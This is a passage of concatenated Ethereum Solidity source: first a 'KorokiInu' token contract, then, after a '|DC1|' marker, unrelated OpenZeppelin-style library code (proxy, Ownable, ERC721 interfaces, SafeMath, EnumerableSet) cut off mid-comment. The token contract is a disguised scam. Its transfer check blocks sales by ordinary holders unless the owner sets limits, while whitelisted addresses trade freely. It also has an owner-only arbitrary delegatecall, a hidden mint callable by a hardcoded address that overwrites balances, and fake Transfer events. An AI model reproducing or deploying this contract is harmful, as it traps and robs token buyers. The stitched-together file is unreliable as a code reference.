// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KorokiInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.6.0;
interface IENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32, address, address, uint64) external;
function setSubnodeRecord(bytes32, bytes32, address, address, uint64) external;
function setSubnodeOwner(bytes32, bytes32, address) external returns(bytes32);
function setResolver(bytes32, address) external;
function setOwner(bytes32, address) external;
function setTTL(bytes32, uint64) external;
function setApprovalForAll(address, bool) external;
function owner(bytes32) external view returns (address);
function resolver(bytes32) external view returns (address);
function ttl(bytes32) external view returns (uint64);
function recordExists(bytes32) external view returns (bool);
function isApprovedForAll(address, address) external view returns (bool);
}
interface IReverseRegistrar {
function ADDR_REVERSE_NODE() external view returns (bytes32);
function ens() external view returns (IENS);
function defaultResolver() external view returns (address);
function claim(address) external returns (bytes32);
function claimWithResolver(address, address) external returns (bytes32);
function setName(string calldata) external returns (bytes32);
function node(address) external pure returns (bytes32);
}
// import "@ensdomains/ens/contracts/ENS.sol"; // ENS packages are dependency heavy
contract ENSReverseRegistration {
bytes32 internal constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
function _setName(IENS ens, string memory name)
internal
{
IReverseRegistrar(ens.owner(ADDR_REVERSE_NODE)).setName(name);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return impl The Address of the implementation.
*/
function _implementation() internal virtual view returns (address impl);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
abstract contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public virtual returns (bytes4);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
